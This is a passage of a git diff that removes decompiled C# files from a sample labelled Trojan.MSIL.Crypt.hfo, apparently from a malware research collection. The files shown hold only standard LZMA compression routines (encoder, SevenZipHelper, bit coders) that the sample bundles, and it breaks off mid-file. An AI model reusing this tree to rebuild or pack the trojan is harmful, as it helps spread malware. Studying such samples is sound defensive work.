{ - uint matchLen1 = this._matchFinder.GetMatchLen(-1, this.reps[(IntPtr) repIndex], limit1); - if (matchLen1 >= 2U) - { - uint num21 = matchLen1; - do - { - while (num5 < cur + matchLen1) - this._optimum[(IntPtr) ++num5].Price = 268435455U; - uint num22 = num15 + this.GetRepPrice(repIndex, matchLen1, state1, posState2); - Encoder.Optimal optimal7 = this._optimum[(IntPtr) (cur + matchLen1)]; - if (num22 < optimal7.Price) - { - optimal7.Price = num22; - optimal7.PosPrev = cur; - optimal7.BackPrev = repIndex; - optimal7.Prev1IsChar = false; - } - } - while (--matchLen1 >= 2U); - uint num23 = num21; - if (repIndex == 0U) - num13 = num23 + 1U; - if (num23 < num12) - { - uint limit2 = Math.Min(num12 - 1U - num23, this._numFastBytes); - uint matchLen2 = this._matchFinder.GetMatchLen((int) num23, this.reps[(IntPtr) repIndex], limit2); - if (matchLen2 >= 2U) - { - Base.State state3 = state1; - state3.UpdateRep(); - uint num24 = position + num23 & this._posStateMask; - int num25 = (int) num15 + (int) this.GetRepPrice(repIndex, num23, state1, posState2) + (int) this._isMatch[(IntPtr) ((state3.Index << 4) + num24)].GetPrice0(); - subCoder = this._literalEncoder.GetSubCoder(position + num23, this._matchFinder.GetIndexByte((int) num23 - 1 - 1)); - int price4 = (int) subCoder.GetPrice(true, this._matchFinder.GetIndexByte((int) num23 - 1 - ((int) this.reps[(IntPtr) repIndex] + 1)), this._matchFinder.GetIndexByte((int) num23 - 1)); - uint num26 = (uint) (num25 + price4); - state3.UpdateChar(); - uint posState4 = (uint) ((int) position + (int) num23 + 1) & this._posStateMask; - uint num27 = num26 + this._isMatch[(IntPtr) ((state3.Index << 4) + posState4)].GetPrice1() + this._isRep[(IntPtr) state3.Index].GetPrice1(); - uint num28 = num23 + 1U + matchLen2; - while (num5 < cur + num28) - this._optimum[(IntPtr) ++num5].Price = 268435455U; - uint num29 = num27 + this.GetRepPrice(0U, matchLen2, state3, posState4); - Encoder.Optimal optimal8 = this._optimum[(IntPtr) (cur + num28)]; - if (num29 < optimal8.Price) - { - optimal8.Price = num29; - optimal8.PosPrev = (uint) ((int) cur + (int) num23 + 1); - optimal8.BackPrev = 0U; - optimal8.Prev1IsChar = true; - optimal8.Prev2 = true; - optimal8.PosPrev2 = cur; - optimal8.BackPrev2 = repIndex; - } - } - } - } - } - if (lenRes2 > limit1) - { - lenRes2 = limit1; - uint index6 = 0; - while (lenRes2 > this._matchDistances[(IntPtr) index6]) - index6 += 2U; - this._matchDistances[(IntPtr) index6] = lenRes2; - numDistancePairs = index6 + 2U; - } - } - while (lenRes2 < num13); - uint num30 = num11 + this._isRep[(IntPtr) state1.Index].GetPrice0(); - while (num5 < cur + lenRes2) - this._optimum[(IntPtr) ++num5].Price = 268435455U; - uint index7 = 0; - while (num13 > this._matchDistances[(IntPtr) index7]) - index7 += 2U; - uint num31 = num13; - while (true) - { - uint matchDistance = this._matchDistances[(IntPtr) (index7 + 1U)]; - uint num32 = num30 + this.GetPosLenPrice(matchDistance, num31, posState2); - Encoder.Optimal optimal9 = this._optimum[(IntPtr) (cur + num31)]; - if (num32 < optimal9.Price) - { - optimal9.Price = num32; - optimal9.PosPrev = cur; - optimal9.BackPrev = matchDistance + 4U; - optimal9.Prev1IsChar = false; - } - if ((int) num31 == (int) this._matchDistances[(IntPtr) index7]) - { - if (num31 < num12) - { - uint limit = Math.Min(num12 - 1U - num31, this._numFastBytes); - uint matchLen = this._matchFinder.GetMatchLen((int) num31, matchDistance, limit); - if (matchLen >= 2U) - { - Base.State state4 = state1; - state4.UpdateMatch(); - uint num33 = position + num31 & this._posStateMask; - int num34 = (int) num32 + (int) this._isMatch[(IntPtr) ((state4.Index << 4) + num33)].GetPrice0(); - subCoder = this._literalEncoder.GetSubCoder(position + num31, this._matchFinder.GetIndexByte((int) num31 - 1 - 1)); - int price5 = (int) subCoder.GetPrice(true, this._matchFinder.GetIndexByte((int) num31 - ((int) matchDistance + 1) - 1), this._matchFinder.GetIndexByte((int) num31 - 1)); - uint num35 = (uint) (num34 + price5); - state4.UpdateChar(); - uint posState5 = (uint) ((int) position + (int) num31 + 1) & this._posStateMask; - uint num36 = num35 + this._isMatch[(IntPtr) ((state4.Index << 4) + posState5)].GetPrice1() + this._isRep[(IntPtr) state4.Index].GetPrice1(); - uint num37 = num31 + 1U + matchLen; - while (num5 < cur + num37) - this._optimum[(IntPtr) ++num5].Price = 268435455U; - uint num38 = num36 + this.GetRepPrice(0U, matchLen, state4, posState5); - Encoder.Optimal optimal10 = this._optimum[(IntPtr) (cur + num37)]; - if (num38 < optimal10.Price) - { - optimal10.Price = num38; - optimal10.PosPrev = (uint) ((int) cur + (int) num31 + 1); - optimal10.BackPrev = 0U; - optimal10.Prev1IsChar = true; - optimal10.Prev2 = true; - optimal10.PosPrev2 = cur; - optimal10.BackPrev2 = matchDistance + 4U; - } - } - } - index7 += 2U; - if ((int) index7 == (int) numDistancePairs) - goto label_45; - } - ++num31; - } - } - - private bool ChangePair(uint smallDist, uint bigDist) => smallDist < 33554432U && bigDist >= smallDist << 7; - - private void WriteEndMarker(uint posState) - { - if (!this._writeEndMark) - return; - this._isMatch[(IntPtr) ((this._state.Index << 4) + posState)].Encode(this._rangeEncoder, 1U); - this._isRep[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 0U); - this._state.UpdateMatch(); - uint len = 2; - this._lenEncoder.Encode(this._rangeEncoder, len - 2U, posState); - uint symbol = 63; - this._posSlotEncoder[(IntPtr) Base.GetLenToPosState(len)].Encode(this._rangeEncoder, symbol); - int num1 = 30; - uint num2 = (uint) ((1 << num1) - 1); - this._rangeEncoder.EncodeDirectBits(num2 >> 4, num1 - 4); - this._posAlignEncoder.ReverseEncode(this._rangeEncoder, num2 & 15U); - } - - private void Flush(uint nowPos) - { - this.ReleaseMFStream(); - this.WriteEndMarker(nowPos & this._posStateMask); - this._rangeEncoder.FlushData(); - this._rangeEncoder.FlushStream(); - } - - public void CodeOneBlock(out long inSize, out long outSize, out bool finished) - { - inSize = 0L; - outSize = 0L; - finished = true; - if (this._inStream != null) - { - this._matchFinder.SetStream(this._inStream); - this._matchFinder.Init(); - this._needReleaseMFStream = true; - this._inStream = (Stream) null; - if (this._trainSize > 0U) - this._matchFinder.Skip(this._trainSize); - } - if (this._finished) - return; - this._finished = true; - long nowPos64 = this.nowPos64; - if (this.nowPos64 == 0L) - { - if (this._matchFinder.GetNumAvailableBytes() == 0U) - { - this.Flush((uint) this.nowPos64); - return; - } - this.ReadMatchDistances(out uint _, out uint _); - this._isMatch[(IntPtr) ((this._state.Index << 4) + ((uint) this.nowPos64 & this._posStateMask))].Encode(this._rangeEncoder, 0U); - this._state.UpdateChar(); - byte indexByte = this._matchFinder.GetIndexByte(-(int) this._additionalOffset); - this._literalEncoder.GetSubCoder((uint) this.nowPos64, this._previousByte).Encode(this._rangeEncoder, indexByte); - this._previousByte = indexByte; - --this._additionalOffset; - ++this.nowPos64; - } - if (this._matchFinder.GetNumAvailableBytes() == 0U) - { - this.Flush((uint) this.nowPos64); - } - else - { - do - { - do - { - uint backRes; - uint optimum = this.GetOptimum((uint) this.nowPos64, out backRes); - uint posState = (uint) this.nowPos64 & this._posStateMask; - uint index1 = (this._state.Index << 4) + posState; - if (optimum == 1U && backRes == uint.MaxValue) - { - this._isMatch[(IntPtr) index1].Encode(this._rangeEncoder, 0U); - byte indexByte1 = this._matchFinder.GetIndexByte(-(int) this._additionalOffset); - Encoder.LiteralEncoder.Encoder2 subCoder = this._literalEncoder.GetSubCoder((uint) this.nowPos64, this._previousByte); - if (!this._state.IsCharState()) - { - byte indexByte2 = this._matchFinder.GetIndexByte(-(int) this._repDistances[0] - 1 - (int) this._additionalOffset); - subCoder.EncodeMatched(this._rangeEncoder, indexByte2, indexByte1); - } - else - subCoder.Encode(this._rangeEncoder, indexByte1); - this._previousByte = indexByte1; - this._state.UpdateChar(); - } - else - { - this._isMatch[(IntPtr) index1].Encode(this._rangeEncoder, 1U); - if (backRes < 4U) - { - this._isRep[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 1U); - if (backRes == 0U) - { - this._isRepG0[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 0U); - if (optimum == 1U) - this._isRep0Long[(IntPtr) index1].Encode(this._rangeEncoder, 0U); - else - this._isRep0Long[(IntPtr) index1].Encode(this._rangeEncoder, 1U); - } - else - { - this._isRepG0[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 1U); - if (backRes == 1U) - { - this._isRepG1[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 0U); - } - else - { - this._isRepG1[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 1U); - this._isRepG2[(IntPtr) this._state.Index].Encode(this._rangeEncoder, backRes - 2U); - } - } - if (optimum == 1U) - { - this._state.UpdateShortRep(); - } - else - { - this._repMatchLenEncoder.Encode(this._rangeEncoder, optimum - 2U, posState); - this._state.UpdateRep(); - } - uint repDistance = this._repDistances[(IntPtr) backRes]; - if (backRes != 0U) - { - for (uint index2 = backRes; index2 >= 1U; --index2) - this._repDistances[(IntPtr) index2] = this._repDistances[(IntPtr) (index2 - 1U)]; - this._repDistances[0] = repDistance; - } - } - else - { - this._isRep[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 0U); - this._state.UpdateMatch(); - this._lenEncoder.Encode(this._rangeEncoder, optimum - 2U, posState); - backRes -= 4U; - uint posSlot = Encoder.GetPosSlot(backRes); - this._posSlotEncoder[(IntPtr) Base.GetLenToPosState(optimum)].Encode(this._rangeEncoder, posSlot); - if (posSlot >= 4U) - { - int NumBitLevels = (int) (posSlot >> 1) - 1; - uint num = (uint) ((2 | (int) posSlot & 1) << NumBitLevels); - uint symbol = backRes - num; - if (posSlot < 14U) - { - BitTreeEncoder.ReverseEncode(this._posEncoders, (uint) ((int) num - (int) posSlot - 1), this._rangeEncoder, NumBitLevels, symbol); - } - else - { - this._rangeEncoder.EncodeDirectBits(symbol >> 4, NumBitLevels - 4); - this._posAlignEncoder.ReverseEncode(this._rangeEncoder, symbol & 15U); - ++this._alignPriceCount; - } - } - uint num1 = backRes; - for (uint index3 = 3; index3 >= 1U; --index3) - this._repDistances[(IntPtr) index3] = this._repDistances[(IntPtr) (index3 - 1U)]; - this._repDistances[0] = num1; - ++this._matchPriceCount; - } - this._previousByte = this._matchFinder.GetIndexByte((int) optimum - 1 - (int) this._additionalOffset); - } - this._additionalOffset -= optimum; - this.nowPos64 += (long) optimum; - } - while (this._additionalOffset != 0U); - if (this._matchPriceCount >= 128U) - this.FillDistancesPrices(); - if (this._alignPriceCount >= 16U) - this.FillAlignPrices(); - inSize = this.nowPos64; - outSize = this._rangeEncoder.GetProcessedSizeAdd(); - if (this._matchFinder.GetNumAvailableBytes() == 0U) - { - this.Flush((uint) this.nowPos64); - return; - } - } - while (this.nowPos64 - nowPos64 < 4096L); - this._finished = false; - finished = false; - } - } - - private void ReleaseMFStream() - { - if (this._matchFinder == null || !this._needReleaseMFStream) - return; - this._matchFinder.ReleaseStream(); - this._needReleaseMFStream = false; - } - - private void SetOutStream(Stream outStream) => this._rangeEncoder.SetStream(outStream); - - private void ReleaseOutStream() => this._rangeEncoder.ReleaseStream(); - - private void ReleaseStreams() - { - this.ReleaseMFStream(); - this.ReleaseOutStream(); - } - - private void SetStreams(Stream inStream, Stream outStream, long inSize, long outSize) - { - this._inStream = inStream; - this._finished = false; - this.Create(); - this.SetOutStream(outStream); - this.Init(); - this.FillDistancesPrices(); - this.FillAlignPrices(); - this._lenEncoder.SetTableSize((uint) ((int) this._numFastBytes + 1 - 2)); - this._lenEncoder.UpdateTables((uint) (1 << this._posStateBits)); - this._repMatchLenEncoder.SetTableSize((uint) ((int) this._numFastBytes + 1 - 2)); - this._repMatchLenEncoder.UpdateTables((uint) (1 << this._posStateBits)); - this.nowPos64 = 0L; - } - - public void Code( - Stream inStream, - Stream outStream, - long inSize, - long outSize, - ICodeProgress progress) - { - this._needReleaseMFStream = false; - try - { - this.SetStreams(inStream, outStream, inSize, outSize); - while (true) - { - long inSize1; - long outSize1; - do - { - bool finished; - this.CodeOneBlock(out inSize1, out outSize1, out finished); - if (finished) - goto label_3; - } - while (progress == null); - progress.SetProgress(inSize1, outSize1); - } -label_3:; - } - finally - { - this.ReleaseStreams(); - } - } - - public void WriteCoderProperties(Stream outStream) - { - this.properties[0] = (byte) ((this._posStateBits * 5 + this._numLiteralPosStateBits) * 9 + this._numLiteralContextBits); - for (int index = 0; index < 4; ++index) - this.properties[1 + index] = (byte) (this._dictionarySize >> 8 * index & (uint) byte.MaxValue); - outStream.Write(this.properties, 0, 5); - } - - private void FillDistancesPrices() - { - for (uint pos = 4; pos < 128U; ++pos) - { - uint posSlot = Encoder.GetPosSlot(pos); - int NumBitLevels = (int) (posSlot >> 1) - 1; - uint num = (uint) ((2 | (int) posSlot & 1) << NumBitLevels); - this.tempPrices[(IntPtr) pos] = BitTreeEncoder.ReverseGetPrice(this._posEncoders, (uint) ((int) num - (int) posSlot - 1), NumBitLevels, pos - num); - } - for (uint index1 = 0; index1 < 4U; ++index1) - { - BitTreeEncoder bitTreeEncoder = this._posSlotEncoder[(IntPtr) index1]; - uint num1 = index1 << 6; - for (uint symbol = 0; symbol < this._distTableSize; ++symbol) - this._posSlotPrices[(IntPtr) (num1 + symbol)] = bitTreeEncoder.GetPrice(symbol); - for (uint index2 = 14; index2 < this._distTableSize; ++index2) - this._posSlotPrices[(IntPtr) (num1 + index2)] += (uint) ((int) (index2 >> 1) - 1 - 4 << 6); - uint num2 = index1 * 128U; - uint pos; - for (pos = 0U; pos < 4U; ++pos) - this._distancesPrices[(IntPtr) (num2 + pos)] = this._posSlotPrices[(IntPtr) (num1 + pos)]; - for (; pos < 128U; ++pos) - this._distancesPrices[(IntPtr) (num2 + pos)] = this._posSlotPrices[(IntPtr) (num1 + Encoder.GetPosSlot(pos))] + this.tempPrices[(IntPtr) pos]; - } - this._matchPriceCount = 0U; - } - - private void FillAlignPrices() - { - for (uint symbol = 0; symbol < 16U; ++symbol) - this._alignPrices[(IntPtr) symbol] = this._posAlignEncoder.ReverseGetPrice(symbol); - this._alignPriceCount = 0U; - } - - private static int FindMatchFinder(string s) - { - for (int matchFinder = 0; matchFinder < Encoder.kMatchFinderIDs.Length; ++matchFinder) - { - if (s == Encoder.kMatchFinderIDs[matchFinder]) - return matchFinder; - } - return -1; - } - - public void SetCoderProperties(CoderPropID[] propIDs, object[] properties) - { - for (uint index = 0; (long) index < (long) properties.Length; ++index) - { - object property = properties[(IntPtr) index]; - switch (propIDs[(IntPtr) index]) - { - case CoderPropID.DictionarySize: - if (!(property is int num1)) - throw new InvalidParamException(); - this._dictionarySize = num1 >= 1 && num1 <= 1073741824 ? (uint) num1 : throw new InvalidParamException(); - int num2 = 0; - while (num2 < 30 && (long) num1 > (long) (uint) (1 << num2)) - ++num2; - this._distTableSize = (uint) (num2 * 2); - continue; - case CoderPropID.PosStateBits: - if (!(property is int num3)) - throw new InvalidParamException(); - this._posStateBits = num3 >= 0 && num3 <= 4 ? num3 : throw new InvalidParamException(); - this._posStateMask = (uint) ((1 << this._posStateBits) - 1); - continue; - case CoderPropID.LitContextBits: - if (!(property is int num4)) - throw new InvalidParamException(); - this._numLiteralContextBits = num4 >= 0 && num4 <= 8 ? num4 : throw new InvalidParamException(); - continue; - case CoderPropID.LitPosBits: - if (!(property is int num5)) - throw new InvalidParamException(); - this._numLiteralPosStateBits = num5 >= 0 && num5 <= 4 ? num5 : throw new InvalidParamException(); - continue; - case CoderPropID.NumFastBytes: - if (!(property is int num6)) - throw new InvalidParamException(); - this._numFastBytes = num6 >= 5 && num6 <= 273 ? (uint) num6 : throw new InvalidParamException(); - continue; - case CoderPropID.MatchFinder: - if (!(property is string)) - throw new InvalidParamException(); - Encoder.EMatchFinderType matchFinderType = this._matchFinderType; - int matchFinder = Encoder.FindMatchFinder(((string) property).ToUpper()); - this._matchFinderType = matchFinder >= 0 ? (Encoder.EMatchFinderType) matchFinder : throw new InvalidParamException(); - if (this._matchFinder != null && matchFinderType != this._matchFinderType) - { - this._dictionarySizePrev = uint.MaxValue; - this._matchFinder = (IMatchFinder) null; - continue; - } - continue; - case CoderPropID.Algorithm: - continue; - case CoderPropID.EndMarker: - if (!(property is bool writeEndMarker)) - throw new InvalidParamException(); - this.SetWriteEndMarkerMode(writeEndMarker); - continue; - default: - throw new InvalidParamException(); - } - } - } - - public void SetTrainSize(uint trainSize) => this._trainSize = trainSize; - - private enum EMatchFinderType - { - BT2, - BT4, - } - - private class LiteralEncoder - { - private Encoder.LiteralEncoder.Encoder2[] m_Coders; - private int m_NumPrevBits; - private int m_NumPosBits; - private uint m_PosMask; - - public void Create(int numPosBits, int numPrevBits) - { - if (this.m_Coders != null && this.m_NumPrevBits == numPrevBits && this.m_NumPosBits == numPosBits) - return; - this.m_NumPosBits = numPosBits; - this.m_PosMask = (uint) ((1 << numPosBits) - 1); - this.m_NumPrevBits = numPrevBits; - uint length = (uint) (1 << this.m_NumPrevBits + this.m_NumPosBits); - this.m_Coders = new Encoder.LiteralEncoder.Encoder2[(IntPtr) length]; - for (uint index = 0; index < length; ++index) - this.m_Coders[(IntPtr) index].Create(); - } - - public void Init() - { - uint num = (uint) (1 << this.m_NumPrevBits + this.m_NumPosBits); - for (uint index = 0; index < num; ++index) - this.m_Coders[(IntPtr) index].Init(); - } - - public Encoder.LiteralEncoder.Encoder2 GetSubCoder(uint pos, byte prevByte) => this.m_Coders[(IntPtr) (uint) ((((int) pos & (int) this.m_PosMask) << this.m_NumPrevBits) + ((int) prevByte >> 8 - this.m_NumPrevBits))]; - - public struct Encoder2 - { - private BitEncoder[] m_Encoders; - - public void Create() => this.m_Encoders = new BitEncoder[768]; - - public void Init() - { - for (int index = 0; index < 768; ++index) - this.m_Encoders[index].Init(); - } - - public void Encode(SevenZip.Compression.RangeCoder.Encoder rangeEncoder, byte symbol) - { - uint index1 = 1; - for (int index2 = 7; index2 >= 0; --index2) - { - uint symbol1 = (uint) ((int) symbol >> index2 & 1); - this.m_Encoders[(IntPtr) index1].Encode(rangeEncoder, symbol1); - index1 = index1 << 1 | symbol1; - } - } - - public void EncodeMatched(SevenZip.Compression.RangeCoder.Encoder rangeEncoder, byte matchByte, byte symbol) - { - uint num1 = 1; - bool flag = true; - for (int index1 = 7; index1 >= 0; --index1) - { - uint symbol1 = (uint) ((int) symbol >> index1 & 1); - uint index2 = num1; - if (flag) - { - uint num2 = (uint) ((int) matchByte >> index1 & 1); - index2 += (uint) (1 + (int) num2 << 8); - flag = (int) num2 == (int) symbol1; - } - this.m_Encoders[(IntPtr) index2].Encode(rangeEncoder, symbol1); - num1 = num1 << 1 | symbol1; - } - } - - public uint GetPrice(bool matchMode, byte matchByte, byte symbol) - { - uint price = 0; - uint index = 1; - int num1 = 7; - if (matchMode) - { - for (; num1 >= 0; --num1) - { - uint num2 = (uint) ((int) matchByte >> num1 & 1); - uint symbol1 = (uint) ((int) symbol >> num1 & 1); - price += this.m_Encoders[(IntPtr) ((uint) (1 + (int) num2 << 8) + index)].GetPrice(symbol1); - index = index << 1 | symbol1; - if ((int) num2 != (int) symbol1) - { - --num1; - break; - } - } - } - for (; num1 >= 0; --num1) - { - uint symbol2 = (uint) ((int) symbol >> num1 & 1); - price += this.m_Encoders[(IntPtr) index].GetPrice(symbol2); - index = index << 1 | symbol2; - } - return price; - } - } - } - - private class LenEncoder - { - private BitEncoder _choice = new BitEncoder(); - private BitEncoder _choice2 = new BitEncoder(); - private BitTreeEncoder[] _lowCoder = new BitTreeEncoder[new IntPtr(16)]; - private BitTreeEncoder[] _midCoder = new BitTreeEncoder[new IntPtr(16)]; - private BitTreeEncoder _highCoder = new BitTreeEncoder(8); - - public LenEncoder() - { - for (uint index = 0; index < 16U; ++index) - { - this._lowCoder[(IntPtr) index] = new BitTreeEncoder(3); - this._midCoder[(IntPtr) index] = new BitTreeEncoder(3); - } - } - - public void Init(uint numPosStates) - { - this._choice.Init(); - this._choice2.Init(); - for (uint index = 0; index < numPosStates; ++index) - { - this._lowCoder[(IntPtr) index].Init(); - this._midCoder[(IntPtr) index].Init(); - } - this._highCoder.Init(); - } - - public void Encode(SevenZip.Compression.RangeCoder.Encoder rangeEncoder, uint symbol, uint posState) - { - if (symbol < 8U) - { - this._choice.Encode(rangeEncoder, 0U); - this._lowCoder[(IntPtr) posState].Encode(rangeEncoder, symbol); - } - else - { - symbol -= 8U; - this._choice.Encode(rangeEncoder, 1U); - if (symbol < 8U) - { - this._choice2.Encode(rangeEncoder, 0U); - this._midCoder[(IntPtr) posState].Encode(rangeEncoder, symbol); - } - else - { - this._choice2.Encode(rangeEncoder, 1U); - this._highCoder.Encode(rangeEncoder, symbol - 8U); - } - } - } - - public void SetPrices(uint posState, uint numSymbols, uint[] prices, uint st) - { - uint price0 = this._choice.GetPrice0(); - uint price1 = this._choice.GetPrice1(); - uint num1 = price1 + this._choice2.GetPrice0(); - uint num2 = price1 + this._choice2.GetPrice1(); - uint symbol; - for (symbol = 0U; symbol < 8U; ++symbol) - { - if (symbol >= numSymbols) - return; - prices[(IntPtr) (st + symbol)] = price0 + this._lowCoder[(IntPtr) posState].GetPrice(symbol); - } - for (; symbol < 16U; ++symbol) - { - if (symbol >= numSymbols) - return; - prices[(IntPtr) (st + symbol)] = num1 + this._midCoder[(IntPtr) posState].GetPrice(symbol - 8U); - } - for (; symbol < numSymbols; ++symbol) - prices[(IntPtr) (st + symbol)] = num2 + this._highCoder.GetPrice((uint) ((int) symbol - 8 - 8)); - } - } - - private class LenPriceTableEncoder : Encoder.LenEncoder - { - private uint[] _prices = new uint[new IntPtr(4352)]; - private uint _tableSize; - private uint[] _counters = new uint[new IntPtr(16)]; - - public void SetTableSize(uint tableSize) => this._tableSize = tableSize; - - public uint GetPrice(uint symbol, uint posState) => this._prices[(IntPtr) (posState * 272U + symbol)]; - - private void UpdateTable(uint posState) - { - this.SetPrices(posState, this._tableSize, this._prices, posState * 272U); - this._counters[(IntPtr) posState] = this._tableSize; - } - - public void UpdateTables(uint numPosStates) - { - for (uint posState = 0; posState < numPosStates; ++posState) - this.UpdateTable(posState); - } - - public new void Encode(SevenZip.Compression.RangeCoder.Encoder rangeEncoder, uint symbol, uint posState) - { - base.Encode(rangeEncoder, symbol, posState); - if (--this._counters[(IntPtr) posState] != 0U) - return; - this.UpdateTable(posState); - } - } - - private class Optimal - { - public Base.State State; - public bool Prev1IsChar; - public bool Prev2; - public uint PosPrev2; - public uint BackPrev2; - public uint Price; - public uint PosPrev; - public uint BackPrev; - public uint Backs0; - public uint Backs1; - public uint Backs2; - public uint Backs3; - - public void MakeAsChar() - { - this.BackPrev = uint.MaxValue; - this.Prev1IsChar = false; - } - - public void MakeAsShortRep() - { - this.BackPrev = 0U; - this.Prev1IsChar = false; - } - - public bool IsShortRep() => this.BackPrev == 0U; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/LZMA/SevenZipHelper.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/LZMA/SevenZipHelper.cs deleted file mode 100644 index 520d4b0a..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/LZMA/SevenZipHelper.cs +++ /dev/null @@ -1,76 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZMA.SevenZipHelper -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 71D96B76-F4D8-4A17-846C-89B130845253 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5.exe - -using System; -using System.IO; - -namespace SevenZip.Compression.LZMA -{ - public static class SevenZipHelper - { - private static int dictionary = 8388608; - private static bool eos = false; - private static CoderPropID[] propIDs = new CoderPropID[8] - { - CoderPropID.DictionarySize, - CoderPropID.PosStateBits, - CoderPropID.LitContextBits, - CoderPropID.LitPosBits, - CoderPropID.Algorithm, - CoderPropID.NumFastBytes, - CoderPropID.MatchFinder, - CoderPropID.EndMarker - }; - private static object[] properties = new object[8] - { - (object) SevenZipHelper.dictionary, - (object) 2, - (object) 3, - (object) 0, - (object) 2, - (object) 128, - (object) "bt4", - (object) SevenZipHelper.eos - }; - - public static byte[] Compress(byte[] inputBytes) - { - MemoryStream inStream = new MemoryStream(inputBytes); - MemoryStream outStream = new MemoryStream(); - Encoder encoder = new Encoder(); - encoder.SetCoderProperties(SevenZipHelper.propIDs, SevenZipHelper.properties); - encoder.WriteCoderProperties((Stream) outStream); - long length = inStream.Length; - for (int index = 0; index < 8; ++index) - outStream.WriteByte((byte) (length >> 8 * index)); - encoder.Code((Stream) inStream, (Stream) outStream, -1L, -1L, (ICodeProgress) null); - return outStream.ToArray(); - } - - public static byte[] Decompress(byte[] inputBytes) - { - MemoryStream inStream = new MemoryStream(inputBytes); - Decoder decoder = new Decoder(); - inStream.Seek(0L, SeekOrigin.Begin); - MemoryStream outStream = new MemoryStream(); - byte[] numArray = new byte[5]; - if (inStream.Read(numArray, 0, 5) != 5) - throw new Exception("input .lzma is too short"); - long outSize = 0; - for (int index = 0; index < 8; ++index) - { - int num = inStream.ReadByte(); - if (num < 0) - throw new Exception("Can't Read 1"); - outSize |= (long) (byte) num << 8 * index; - } - decoder.SetDecoderProperties(numArray); - long inSize = inStream.Length - inStream.Position; - decoder.Code((Stream) inStream, (Stream) outStream, inSize, outSize, (ICodeProgress) null); - return outStream.ToArray(); - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/RangeCoder/BitDecoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/RangeCoder/BitDecoder.cs deleted file mode 100644 index c7f76d0f..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/RangeCoder/BitDecoder.cs +++ /dev/null @@ -1,51 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.BitDecoder -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 71D96B76-F4D8-4A17-846C-89B130845253 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5.exe - -namespace SevenZip.Compression.RangeCoder -{ - internal struct BitDecoder - { - public const int kNumBitModelTotalBits = 11; - public const uint kBitModelTotal = 2048; - private const int kNumMoveBits = 5; - private uint Prob; - - public void UpdateModel(int numMoveBits, uint symbol) - { - if (symbol == 0U) - this.Prob += 2048U - this.Prob >> numMoveBits; - else - this.Prob -= this.Prob >> numMoveBits; - } - - public void Init() => this.Prob = 1024U; - - public uint Decode(Decoder rangeDecoder) - { - uint num = (rangeDecoder.Range >> 11) * this.Prob; - if (rangeDecoder.Code < num) - { - rangeDecoder.Range = num; - this.Prob += 2048U - this.Prob >> 5; - if (rangeDecoder.Range < 16777216U) - { - rangeDecoder.Code = rangeDecoder.Code << 8 | (uint) (byte) rangeDecoder.Stream.ReadByte(); - rangeDecoder.Range <<= 8; - } - return 0; - } - rangeDecoder.Range -= num; - rangeDecoder.Code -= num; - this.Prob -= this.Prob >> 5; - if (rangeDecoder.Range < 16777216U) - { - rangeDecoder.Code = rangeDecoder.Code << 8 | (uint) (byte) rangeDecoder.Stream.ReadByte(); - rangeDecoder.Range <<= 8; - } - return 1; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/RangeCoder/BitEncoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/RangeCoder/BitEncoder.cs deleted file mode 100644 index 4251a8e5..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5/Compression/RangeCoder/BitEncoder.cs +++ /dev/null @@ -1,68 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.BitEncoder -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 71D96B76-F4D8-4A17-846C-89B130845253 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-09f9a182ef353025bcee095d5224f1640491325946702902c7b952f099ba4ae5.exe - -using System; - -namespace SevenZip.Compression.RangeCoder -{ - internal struct BitEncoder - { - public const int kNumBitModelTotalBits = 11; - public const uint kBitModelTotal = 2048; - private const int kNumMoveBits = 5; - private const int kNumMoveReducingBits = 2; - public const int kNumBitPriceShiftBits = 6; - private uint Prob; - private static uint[] ProbPrices = new uint[new IntPtr(512)]; - - public void Init() => this.Prob = 1024U; - - public void UpdateModel(uint symbol) - { - if (symbol == 0U) - this.Prob += 2048U - this.Prob >> 5; - else - this.Prob -= this.Prob >> 